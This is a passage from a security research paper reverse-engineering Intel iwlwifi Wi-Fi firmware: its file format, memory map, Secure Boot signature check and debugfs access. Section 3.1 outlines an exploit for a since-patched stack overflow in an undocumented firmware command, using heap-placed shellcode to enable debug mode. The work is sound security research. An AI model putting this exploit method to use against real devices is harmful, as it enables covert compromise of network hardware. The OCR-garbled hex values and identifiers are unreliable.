tween 33 and 46. To study the correct firmware, it was necessary to find
out which one was actually loaded. And this information was actually
written in the kernel log (listing 4)!

iwlwifi 0000:00:14.3: loaded firmware version 46.6f9f215c.0
9000-pu-b0-jf-b0-46.ucode op_mode iwlmvm

Listing 4. Extract of kernel log showing the chosen firmware file

2.2 Dissecting the firmware file

In the hardware world, some devices receive their firmware directly, as
an opaque blob, without much analysis from the operating system. The
studied Intel Wi-Fi chips are not like these devices. Instead, their firmware
files are first decoded by iwlwifi and only some parts are actually sent
to the chips.

In the kernel module, the function which parses the firmware file is
named iwl_parse_tlv_f irmware.!9 It parses a header followed by a series
of Type-Length-Value entries (TLV) containing much information.

The firmware we studied in the experiments is available on
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/
linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?

S https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/pcie/trans.c#L3455

" https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-drv.c#L160

8 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/cfg/9000.c#L29

 https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-
firmware.git/tree/7h=20211216

10 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-drv.c#L554


https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/pcie/trans.c#L3455
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/pcie/trans.c#L3455
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/iwl-drv.c#L160
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/iwl-drv.c#L160
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/cfg/9000.c#L29
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/cfg/9000.c#L29
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/?h=20211216
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/?h=20211216
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/iwl-drv.c#L554
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/iwl-drv.c#L554
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
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h=20210511&id=4f549062619750e76£3155fc50b5c0f6529¢ed8a. This
web page gives the ASCII representation of the firmware, which starts with
the header containing a version string IWL.release/core43: :6£9f215c.

After the header, each entry of the file starts with a type which is an
item of enum iwl_ucode_tlv_type.11 The actual code which is loaded
on the chip is contained in entries with type IWL_UCODE_TLV_SEC_RT
and IWL_UCODE_TLV_SEC_INIT (and a few other ones not described here).
Each such entry defines a memory section (hence the _SEC_ in the name)
of the loaded firmware and starts with a 32-bit load address (in Little
Endian bit order) followed by the content.

For example, in the studied firmware file, the bytes at offset 0x2f4
are 13000000 bc020000 00404000 06000000 a1000000. This defines a
TLV entry of type 0x13=IWL_UCODE_TLV_SEC_RT with 0x2bc bytes. This
type enables to decode the remaining bytes as the definition of a firmware
section at the address 0x00404000 which starts with the bytes 06000000
a1000000.

Plugging everything together leads to finding the sections presented
in listing 5.

SEC_RT 00404000..004042b8 (0x2b8=696 bytes)

SEC_RT 00800000..00818000 (0x18000=98304 bytes)
SEC_RT 00000000..00038000 (0x38000=229376 bytes)
SEC_RT 00456000..0048d874 (0x37874=227444 bytes)

SEC_INIT 00404000..004042c8 (0x2c8=712 bytes)
SEC_INIT 00800000..008179c0 (0x179c0=96704 bytes)
SEC_INIT 00000000..00024ee8 (0x24ee8=151272 bytes)
SEC_INIT 00456000..00471d04 (0x1bd04=113924 bytes)
SEC_INIT 00410000..00417100 (0x7100=28928 bytes)
SEC_RT ffffcccc..ffffccd0 (0x4=4 bytes)

SEC_RT 00405000..004052b8 (0x2b8=696 bytes)

Listing 5. Raw decoding of the sections in the firmware file

This listing contains some strange entries. For example, some SEC_INIT
sections (used at initialization time) seem to be inserted between two sets
of SET_RT sections (used for runtime) and the entry for ffffcccc seems
off. The iwlwifi kernel module contains a macro which defines this last
value as a separator between CPU1 and CPU2 (listing 6).!? Indeed the
studied W-F1i chip contains two processors named UMAC and LMAC! In
literature, MAC usually means Medium Access Controller and is a layer of

" https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/file.h#L47

12 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/file.h#L461


https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-9000-pu-b0-jf-b0-46.ucode?h=20210511&id=4f549062619750e76f3155fc50b5c0f6529eed8a
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/file.h#L47
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/file.h#L47
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/file.h#L461
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/file.h#L461
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a network stack. According to Wi-Fi-related documents,'3 it seems UMAC
means Upper MAC while LMAC means Lower MAC. These documents
also give an overview of how these abstraction layers seem to be stacked
in Intel Wi-Fi chips (see listing 7).

#define CPU1_CPU2_SEPARATOR_SECTION OxFFFFCCCC
#define PAGING_SEPARATOR_SECTION OxAAAABBBB

Listing 6. Definitions of section separators

________________________________________ bocoooccocoooocooooooo

UMAC (Upper Medium Access Controller) | Host Interfaces
________________________________________ o

LMAC (Lower Medium Access Controller)

Listing 7. Stack of layers in the Wi-Fi chip (the host communicates with both
UMAC and LMAC)

iwlwifi also defines the notion of Paging Memory. The sections in
this Paging Memory are loaded using an interface different from the other
sections and described later in this article (cf. section 4.1).

All this knowledge gives a better understanding on how the sections
are grouped in the firmware file (listing 8).

Runtime code for CPU 1 (LMAC):

SEC_RT 00404000..004042b8 (0x2b8=696 bytes)

SEC_RT 00800000..00818000 (0x18000=98304 bytes)
SEC_RT 00000000..00038000 (0x38000=229376 bytes)
SEC_RT 00456000..0048d874 (0x37874=227444 bytes)

Initialization code for CPU 1 (LMAC):
SEC_INIT 00404000..004042c8 (0x2c8=712 bytes)
SEC_INIT 00800000..008179c0 (0x179c0=96704 bytes)
SEC_INIT 00000000..00024ee8 (0x24ee8=151272 bytes)
SEC_INIT 00456000..00471d04 (0x1bd04=113924 bytes)
SEC_INIT 00410000..00417100 (0x7100=28928 bytes)

Runtime code for CPU 2 (UMAC):

SEC_RT CPU1_CPU2_SEPARATOR_SECTION ( )
SEC_RT 00405000..004052b8 (0x2b8=696 bytes)

SEC_RT c0080000..c0090000 (0x10000=65536 bytes)

SEC_RT c0880000..c0888000 (0x8000=32768 bytes)

SEC_RT 80448000..80455ad4 (0xdad4=56020 bytes)

13 https://www.design-reuse.com/articles/39101/reusable-mac-design-for-
various-wireless-connectivity-protocols.html


https://www.design-reuse.com/articles/39101/reusable-mac-design-for-various-wireless-connectivity-protocols.html
https://www.design-reuse.com/articles/39101/reusable-mac-design-for-various-wireless-connectivity-protocols.html

194 Ghost in the Wireless, iwlwifi edition

Paging code for CPU 2 (UMAC):
SEC_RT PAGING_SEPARATOR_SECTION ("bb bb aa aa 00 00 00 00")
SEC_RT 00000000..00000298 (0x298=664 bytes)
SEC_RT 01000000..0103b000 (0x3b000=241664 bytes)

Initialization code for CPU 2 (UMAC):
SEC_RT CPU1_CPU2_SEPARATOR_SECTION ("cc cc f£f £f 00 00 00 00")
SEC_INIT 00405000..004052b8 (0x2b8=696 bytes)
SEC_INIT c0080000..c0090000 (0x10000=65536 bytes)
SEC_INIT <c0880000..c0888000 (0x8000=32768 bytes)
SEC_INIT 80448000..80455ad4 (0xdad4=56020 bytes)

Listing 8. Decoding of the sections in the firmware file, grouped by kind

2.3 Mapping the memory layout

There are some oddities in the list of the firmware sections presented
in listing 8. One of them is that some addresses start with 80 or cO instead
of 00. Again, the Linux source code greatly helps to understand what is
going on: it defines FW_ADDR_CACHE_CONTROL to 0xC0000000 14 and uses
this value to mask the high bits out of some addresses.

During the study we first used these addresses as-is. At some point
we stumbled upon the ARC700 Memory Management Unit (MMU) and
found in its reference manual [1]:

The build configuration register DATA_UNCACHED (0x6A) describes
the Data Uncached region. Memory operations that access this
region will always be uncached. Instruction fetches that access the
same region will, however, be cached as this region relates to data
only.

This region, which is only present in builds with an MMU, is
fixed to the upper 1 GB of the memory map. As the upper 2
GB of the memory is the un-translated memory region, the Data
Uncached region is consequently both uncached and un-translated.
This makes this region suitable for e.g. peripherals. Note that this
region is active even if the MMU is disabled.

Addresses starting with cO are located in the upper 1 GB of the chip
memory and are therefore uncached and un-translated references to the
memory located at the address given by the remaining bits. And addresses
starting with 80, located in the upper 2 GB of the memory, can be cached

! https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-drv.c#L552
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but are never translated by the MMU. For example, the section loaded at
address c0080000 is in fact loaded at physical address 00080000 and uses
high bits in order to bypass the MMU translation. This is illustrated in
figure 2.

00000000 ~

fffffff
40000000

MMU Translation

TEffffff
80000000
cached
bfffffff
c0000000
uncached
ffffffff

00000000

No translation

fffffff

Ph 1 1 Q@ Q
Virtual address space ysical address space

Fig. 2. Virtual and physical address spaces of ARC700 microcontrollers

Moreover iwlwifi’s code contains references to the address of two Data
Close Coupled Memories (DCCM) and a Static RAM Memory (SMEM).!?
This enables writing a map of the memory layout used by the Wi-Fi chip,
presented in figure 3. This figure includes some components which are
presented later in this document.

2.4 Verifying the signature

Is it possible to run arbitrary code on the Wi-Fi chip by modifying
the firmware file? Now that the layout of the file has been presented,
it is possible to try modifying any byte in a section. Doing so triggers
a failure reported by iwlwifi and prevents the loaded firmware from
starting (listing 9).

iwlwifi 0000:00:14.3: SecBoot CPU1 Status: 0x3030003,
CPU2 Status: 0x0

Listing 9. Error message seen in the kernel log with a modified firmware

15 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/cfg/9000.c#L21
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00000000..00100000 |Executable memory (maximum 1 MB)
00000000. .00038000|Code used by CPU 1 (LMAC)
00060000. .000611ca|Loader code which enforces Secure Boot
00061e00. .00061£00|Loader Secure Boot RSA public key
00080000. .00090000|Code used by CPU 2 (UMAC)
00400000. .00490000 SRAM (Static RAM, 576 KB)
00401000. .00403000|Loader data, including its stack
00404000. .004042c8|Code Signature Section for CPU 1 (LMAC)
00405000 . .004052b8|Code Signature Section for CPU 2 (UMAC)
00410000. .00417100|Code used by CPU 1 Initialization (LMAC)
00422000. . 00448000 |Pages used by CPU 2 (UMAC)
00448000. .00455ad4|Code and data used by CPU 2 (UMAC)
00456000. .0048d874|Code and data used by CPU 1 (LMAC)
0048£000. .00490000|Sensitive data used by CPU 2 (UMAC,
external read access is denied)
00800000..00818000 |DCCM (Data Close Coupled Memory, 96 KB)
(data used by CPU 1, LMAC)
00816000. .00817000|Stack for LMAC CPU (4096 bytes)
00880000. .00888000 DCCM 2 (32 KB)
(data used by CPU 2, UMAC)
00886014. .00886334|Stack for task IDLE (800 bytes)
00886334. .00886d34|Stack for task MAIN (2560 bytes)
00886d34. .00887734|Stack for task BACKGROUND (2560 bytes)
00887734..00887ffc|Stack for interrupt handlers (2248 bytes)
00a00000. .00b00000  |Hardware Registers (for peripherals)
00a03088. .00a0308c |Feature flags, including debug mode
00a04c00. .00a04c84| Access bits for memory regions
00a24800. .00a24b00|RSA 2048 coprocessor
00a25000. .00a25060|SHA256 coprocessor
00a38000. .00a40000|NVM (Non-Volatile Memory)

Fig. 3. Map of the physical memory layout used by the studied Wi-Fi chip

In the error message, SecBoot likely means Secure Boot, a technology
used to ensure that only authorized code can run on a platform. How
is the firmware authenticated? Usually there is some kind of signature,
which is verified against a public key.

Looking at the sections from listing 8 again, they can be grouped
in five parts where each starts with a small section, located at address
0x00404000 for the LMAC CPU, at 0x00405000 for the UMAC CPU
and at 0x00000000 for the paging memory. This section is not parsed by
iwlwifi but it is small enough to be able to guess its layout:

— 0x30 bytes: header, including the build date at offset 0x14 (for
example the bytes 28 01 21 20 encode the date 2021-01-28)
— 0x50 bytes: zeros (probably some padding)
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— 0x100 bytes: RSA-2048 modulus, in Little Endian

— 4 bytes: RSA exponent, always 0x10001

— 0x100 bytes: RSA-2048 signature, in Little Endian

— 4 bytes: number of other sections of the group, in Little Endian

— For other sections of the group: 0x10 bytes containing four 32-bit

Little Endian integers {7, size + 8, address, size}

The signature is a RSA PKCS#1 v1.5 signature using SHA256 on
the content of every section, including the small first one without the
signature field. This confirms that the code loaded on the chip is actually
signed.

By the way, even though iwlwifi does not parse the small section, it
includes some references to something named CSS. The meaning of this
acronym is not documented but it likely is Code Signature Section.

This section contains the public key used to verify the signature.
Compared to usual secure boot implementations, this is normal. Indeed,
some chips only contain a fingerprint of the public key, for example in
their fuses, and verify that the given public key matches this fingerprint.
In this case the public key has to be provided. But some chips could forget
to check the public key, which would enable attackers to easily bypass the
authentication. With the studied Intel Wi-Fi chip, modifying the firmware
and re-signing it with a custom key did not work (and triggered the same
error as in listing 9).

2.5 Extracting the firmware code

The previous parts detailed the content of a firmware file, the layout
of the memory and the way the code was authenticated. This knowledge
is more than enough to extract the code which actually runs on the chip.
A last question remains before beginning to analyze it: which Instruction
Set Architecture (ISA) is the code using? A few years ago a tool named
cpu_rec.py was published exactly for this kind of need [5]. It guessed
that the code used the ARCompact instruction set. This instruction set
was supported by IDA Pro disassembler and the generated assembly code
seemed to be meaningful.

Moreover, when downloading the Intel Windows drivers,'® the archives
contain a text file express_logic_threadx.txt describing license amend-
ments for Express Logic ThreadX (listing 10). This file indicates that
wireless connectivity solutions developed by Intel could use ARC 605,
ARC7 and ARC6, which belong to the ARCompact family.

16 https://www.intel.com/content/www/us/en/download/18231/intel-proset-
wireless-software-and-drivers-for-it-admins.html (accessed on 2022-01-17)
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Express Logic ThreadX License Amendment / Addendum Summary
Tocod
1/9/2008
Adds ARC 605
Tocod
7/11/1012
Modifications made by this amendment apply only to Intel group
that develops wireless connectivity solutions

Adds ARC7
[...]
6/16/2013

Retroactively replaces ARM7 (Amendment 4) with ARC6

Listing 10. Extract of express_logic_threadx.txt

To better understand the logic of the firmware, support for these
instruction sets was added to Ghidra. This work was already presented at
SSTIC 2021 [6].

3 Vulnerability Research

3.1 Executing arbitrary code

Talking to the Wi-Fi chip through debugfs The previous parts
focused on static analysis, using files and source code. When analyzing a
system, it is useful to also have some way to query its state, debug some
code, etc. For Intel’s Wi-Fi chip, iwlwifi and iwlmvm modules expose
many files in the debug filesystem. For example, iwlmvm/fw_ver contains
information about the firmware which was loaded (listing 11).

$ DBGFS=/sys/kernel/debug/iwlwifi/0000:00:14.3
$ cat $DBGFS/iwlmvm/fw_ver

FW prefix: iwlwifi-9000-pu-b0-jf-b0O-

FW: release/core43::6f9f215c

Device: Intel(R) Wireless-AC 9560 160MHz

Bus: pci

Listing 11. Reading the firmware version from Linux debugfs

Among these files, iwlmvm/mem enables reading the memory of the
Wi-Fi chip (listing 12)!

$ dd if=$DBGFS/iwlmvm/mem bs=1 count=128 |xxd

00000000: 2020 800f 0000 4000 2020 800f 0300 e474 oo00@o  coo0o0o0 t
00000010: 2020 800f 0300 3837 2020 800f 0000 c819 060008 o0ooooo
00000020: 6920 0000 6920 4000 6920 0000 6920 4000 i ..i @.i ..i @.
00000030: 2020 800f 4700 14b6 6920 0000 6920 4000 ..G..0i i @,

00000040: 6920 0000 4a20 0000 4a21 0000 4a22 0000 i ..J ..J'..J"..
00000050: 4a23 0000 4a24 0000 4a25 0000 4a26 0000 J#..J$..J%..J&..
00000060: 4a27 0000 4a20 0010 4a21 0010 4a22 0010 J’..J ..J!'..J"..
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00000070: 4a23 0010 4a24 0010 4a25 0010 4a26 0010 J#..J$..J%..J&..

Listing 12. Reading the beginning of the chip memory

The kernel module also implements write operations with iwlmvm/mem
but they do not seem to work. During the study we discovered that some
Wi-Fi chips could be booted in debug mode, where writing to iwlmvm/mem
would work fine. However, we only had access to Wi-Fi chips in production
mode, where writing the memory was forbidden.

The debug filesystem also provides another way to read the chip
memory with a file named iwlmvm/sram. This interface provided by this
file only allows reading data from the chip, not writing to it.

Back to the debug filesystem, another file interested us,
iwlmvm/prph_reg. The Wi-Fi chip contains many peripheral registers
(sometimes called hardware registers) located at addresses 0x00ax***x*
and this file enabled reading them. Such registers would usually contain
state information, but in the case of the studied Wi-Fi chip, they also
included the current Program Counter (pc) of the processors! The address
of these interesting registers are defined in Linux!? (listing 13). Even
though three pc registers are defined, only the first two contain non-zero
values on the studied Wi-Fi chip (listing 14): one for the UMAC processor
and another for the LMAC processor, which this document described
previously (in section 2.2).

#define UREG_UMAC_CURRENT_PC 0xa0bc18
#define UREG_LMAC1_CURRENT_PC OxaObclc
#define UREG_LMAC2_CURRENT_PC 0xa05c20

Listing 13. Definitions of program counter registers in Linux

$ echo 0xa05c18 > $DBGFS/iwlmvm/prph_reg
$ cat $DBGFS/iwlmvm/prph_reg
Reg 0xa05c18: (0xc0084£f40)

$ echo OxaObclc > $DBGFS/iwlmvm/prph_reg
$ cat $DBGFS/iwlmvm/prph_reg
Reg 0xaObclc: (0xb552)

$ echo 0xa05c20 > $DBGFS/iwlmvm/prph_reg
$ cat $DBGFS/iwlmvm/prph_reg
Reg 0xa05c20: (0x0)

Listing 14. Reading the values of program counter registers

17 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-prph.h#L373
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Talking to the Wi-Fi chip through PCle The previous section
described very useful files in the Linux debug filesystem. How are they
actually implemented? More precisely, how is the operating system (Linux)
able to read the memory and the peripheral registers of the Wi-Fi chip? An-
swering these questions is important to understand the security boundaries
and how running arbitrary code on the chip is prevented.

Reading iwlmvm/prph_reg makes the Linux kernel execute the func-
tion iwl_‘crans_pcie_read_prph.18 A simplified implementation of this
function is presented in listing 15.

// drivers/mnet/wireless/intel/iwlwifi/iwl-csr.h
/*
HBUS (Host-side Bus)

HBUS registers are mapped directly into PCI bus space, but are
used to indirectly access device’s internal memory or registers
that may be powered-down.

* %X X %X %

*/
#define HBUS_BASE (0x400)

/ *
Registers for accessing device’s internal peripheral registers
(e.g. SCD, BSM, etc.). First write to address register,

then read from or write to data register to complete the job.
Bit usage for address registers (read or write):

0-15: register address (offset) within device
24-25: (# bytes - 1) to read or write (e.g. 3 for dword)

* X X X X %

*/
#define HBUS_TARG_PRPH_WADDR (HBUS_BASE+0x044)
#define HBUS_TARG_PRPH_RADDR (HBUS_BASE+0x048)
#define HBUS_TARG_PRPH_WDAT (HBUS_BASE+0x04c)
#define HBUS_TARG_PRPH_RDAT (HBUS_BASE+0x050)

// drivers/net/wireless/intel/iwlwifi/pcie/trans.c
u32 iwl_trans_pcie_read_prph(struct iwl_trans xtrans, u32 reg) {
// Here, 0xz03000000 means "read 3+1 = 4 bytes”

reg = 0x03000000 | (reg & OxOOOFFFFF);

// hw_base address mapping the MMIO space of the PCIe endpoint
writel (reg, trans->trans_specific->hw_base + HBUS_TARG_PRPH_RADDR);
return readl (trans->trans_specific->hw_base + HBUS_TARG_PRPH_RDAT);
}

Listing 15. Implementation of iwl__trans_ pcie_read_ prph

In short, iwl_trans_pcie_read_prph writes a normalized register
index to some offset of the MMIO space (line 30 of listing 15) and reads back
a 32-bit value from another offset (line 31). These offsets are documented
as being part of a Host-side Bus interface (HBUS) and the underlying

18 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/

intel/iwlwifi/pcie/trans.c#L1833
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implementation seems to be directly in hardware (it does not involve the
firmware). This impression is strengthened by the fact that this interface
can be used to read the program counters of the chip processors. Doing so
shows values which change so much that this indicates that neither the
UMAC or the LMAC processor is executing code to process host requests
to read peripheral register values. This interface is described in figure 4.

iwlwifi also defines offsets (macros HBUS_TARG_MEM_RADDR,
HBUS_TARG_MEM_RDAT, etc.) and functions (iwl_trans_pcie_read_mem
and iwl_trans_pcie_write_mem) to access the chip memory. Of course
these functions cannot be used to write to arbitrary memory locations at
runtime but their use by functions such as iwl_trans_pcie_txq_enable
indicates that some regions of the firmware are indeed writable from
Linux.

Linux user space
/sys/kernel/debug/.../iwlmvm/prph_reg
I
Linux kernel
iwlwifi module

PCle bus

Wi-Fi chip PCle endpoint
MMIO address space:
0x40c. . .0x41c: HBUS registers to read/write memory
0x444...0x450: HBUS registers to read/write registers

Wi-Fi chip registers Wi-Fi chip memory
0xa05c18: LMAC pc (cf. figure 3)
0xa05cic: UMAC pc

Fig. 4. Interaction between Linux debug filesystem and the Wi-Fi chip

Nevertheless, iwlmvm/mem in the debug filesystem does not use this
interface. Instead the implementation of the read operation (in function
iwl_dbgfs_mem_read 19) boils down to calling iwl_mvm_send_cmd (mvm,
&hemd) ; with a host command in the parameter hcmd. This function calls
iwl_trans_pcie_send_hcmd to enqueue a command in queues that the
Wi-Fi chip reads using Direct Memory Access (DMA). This interface
is shared with every command that the Linux kernel sends to the chip

19 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/mvm/debugfs.c#L1799
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(for example to request scanning access points, to configure some radio
properties, etc.) and we can expect that messages sent through it are
processed by the firmware.

When iwlwifi and iwlmvm prepare a command for the Wi-Fi chip,
they use a structure named iwl_host_cmd?° where they fill the command
ID and parameters. The identifiers consist of two bytes, defining a group
of commands (enum iwl_mvm_command_groups !) and a command inside
a group. For example, the command used to read memory is:

— group DEBUG_GROUP = Oxf,

— command LMAC_RD_WR = 0 or UMAC_RD_WR = 1, to read memory

from the LMAC or the UMAC processor.

This identifier is packed into a 4-byte structure iwl_cmd_header 2
before being sent to the chip. With this information, it should be possible
to find the code processing such commands in the firmware.

Arbitrary Code Execution The host manages the chip through a
set of commands mentioned previously. The command IDs as well as
the associated request and response structures are declared in the kernel
module source code.

The firmware implementation of these commands was reverse-
engineered, allowing us to find undocumented commands. One of these
commands (of ID 0xf1) receives host data in 2 steps:

1. A first structure made of a size and a flag (struct input { size_t
count; int flag; }) is received. The size field is actually the
expected size of the next received data.

2. Data is then read directly on the stack, leading to a stack overflow
if the size specified in the first command is larger than the size of
the stack buffer.

In order to trigger the vulnerability, we based our exploit on
ftrace-hook. It allows sending arbitrary commands to the chip by hijack-
ing a single function from the Linux module: iwl_mvm_send_cmd (). The
exploit works in 2 steps:

20 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-trans.h#L207

2! https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/api/commands.h#L32

22 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/api/cmdhdr.h#L65


https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/iwl-trans.h#L207
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/iwl-trans.h#L207
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/api/commands.h#L32
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/api/commands.h#L32
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/api/cmdhdr.h#L65
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/fw/api/cmdhdr.h#L65

N. Iooss, G. Campana, 203

1. A shellcode is first put somewhere at a fixed address in the heap of
the firmware using legit commands. Reverse engineering allowed us
to discover a few commands which copy large amounts of data from
the host to the heap without alteration, for later use. Optionally,
the debugfs mechanism can be used to ensure that the shellcode is
indeed written to the expected address.

2. The vulnerability is then triggered: the stack overflow vulnerability
allows the attacker to take control of pc and redirect the execution
to the shellcode previously put in the heap.

We developed a shellcode which enables the global debug mode flag.
This flag is notably checked by the firmware iwlmvm/mem implementation
to tell whether write access is allowed, which eventually allows us to read
and write memory using this convenient debugfs mechanism.

This stack overflow vulnerability was successfully exploited in the
firmware version 34.0.1. This vulnerability doesn’t exist anymore in the
firmware version 46.6£9f215c.0.

3.2 Secure Boot and bypassing it

Locating the Loader The previous sections presented how we interacted
with Intel Wi-Fi chips from Linux and how the code is loaded from
firmware files. During the study we wondered whether the verification of
the authenticity of the code is implemented in hardware or in some code
running on the LMAC or the UMAC processors. Indeed it is common for
microcontrollers to have a Boot ROM with code which authenticates the
loaded firmware before running it. If an Intel Wi-Fi chip had such code,
how could we find it?

Actually on the studied chip, this is easy:

— the Linux kernel module can read the memory of the chip,

— and the module can also read the program counter registers (pc)

of the chip processors.

We patched iwlwifi to dump parts of the memory and to record the
pc values right before the firmware was loaded. We found out that most
memory regions contain random data which change at every boot, except
two areas:

— one between addresses 0x00402e80 and 0x00402fff,

— one between addresses 0x00060000 and 0x00061eff.

The second area contains valid ARCompact instructions and
the recorded pc values alternate between 0x0006107e, 0x00061092,
0x00061098 and a few other addresses. So we knew we dumped some
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interesting code. Moreover the first instructions of this area include mov
sp, 0x00403000, defining the stack pointer to the top of the first area.

The dumped code is quite small (4554 bytes) and, surprisingly, it does
not include any implementation of RSA or SHA256 algorithms. How could
it verify the firmware signature?

Studying more closely the data we got shows that at address
0x00061e00 is located the same RSA2048 public key as in the firmware
file. This key is used by a function at 0x00060fa8. After more analysis
we found out that the dumped code uses this key with some hardware
registers in the following sequence:

— Write 1 and 0 to the peripheral register located at 0x00a24b08.

— Write 3 to 0x00a24b00.

— Write the 256 bytes of the public key to 0x00a24900, 0x00a24901,
etc.

— Write the 256 bytes of the firmware signature to 0x00a24800,
0x00a24801, etc.

— Write 1 to 0x00a2506c and 0x00a25064.

— Wait for the lowest bit of peripheral register located at 0x00a24b04
to become zero.

— Read the decrypted RSA signature from 0x00a24a00.

— Write 1 to 0x00a20804.

This code probably drives a coprocessor which decrypts RSA2048
signatures in PKCS#1 v1.5 format. Other peripheral registers are used
in a similar way, to compute the SHA256 digest of the firmware being
loaded. Such coprocessors are usually called cryptographic accelerators
and it is normal to see one on a Wi-Fi chip, which could offload some
cryptographic operations to dedicated hardware.

